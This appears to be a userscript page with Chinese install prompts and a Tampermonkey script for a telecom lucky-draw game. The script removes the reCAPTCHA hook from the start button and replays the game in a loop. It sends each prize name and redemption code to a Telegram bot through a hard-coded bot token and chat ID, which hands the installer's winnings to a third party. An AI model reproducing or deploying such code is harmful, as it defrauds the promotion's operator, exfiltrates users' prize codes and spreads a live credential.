您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
try to take over the world!
// ==UserScript== // @name Line mobile // @namespace http://tampermonkey.net/ // @version 0.4 // @description try to take over the world! // @author You // @match https://event.fetnet.net/luckygame/activity/game/wlxnrxX1 // @grant none // ==/UserScript== function delay(timeout) { try{ return new Promise((resolve) => { setTimeout(resolve, timeout); }); }catch(err){ } } function send(prizeName, prizeCode){ fetch('https://api.telegram.org/bot369389395:AAFncSfK-_9f6Aip6fbGpft7lYQN2y7BOIE/sendMessage?chat_id=-1001410187623&text='+prizeName+"%0A"+prizeCode) .then(function(response) { return response.json(); }) .then(function(myJson) { console.log(myJson); }); } function start(){ document.querySelector("#startGame").classList.remove('g-recaptcha'); document.querySelector("#startGame").removeAttribute('data-callback') document.querySelector("#startGame").click() // gift = document.querySelector("#prizePop > div > div > div > div.prize-name.red-word > p").innerText var waitForpop = function(selector, callback) { if (jQuery(selector).length) { callback(); } else { setTimeout(function() { waitForpop(selector, callback); }, 1000); if(document.querySelector("body > div:nth-child(9)")&&document.querySelector("body > div:nth-child(9)").style.visibility == 'visible'){ // delay(5000) // window.location.reload(); console.log('google') } } }; waitForpop(".open-pop", function() { ifPop() }); } function ifPop(){ prizeName = document.querySelector("#prizeName").innerText prizeCode = document.querySelector("#prizeCode").innerText if(!(prizeCode=='20803' || prizeCode=='LM200' || prizeCode=='UWMENHYG' || prizeCode=='20778')) send(prizeName, prizeCode) $("#prizePop").removeClass('open-pop'); ran = Math.floor(Math.random() * 10000+1500) delay(ran) start() } (function() { 'use strict'; start() // Your code here... })();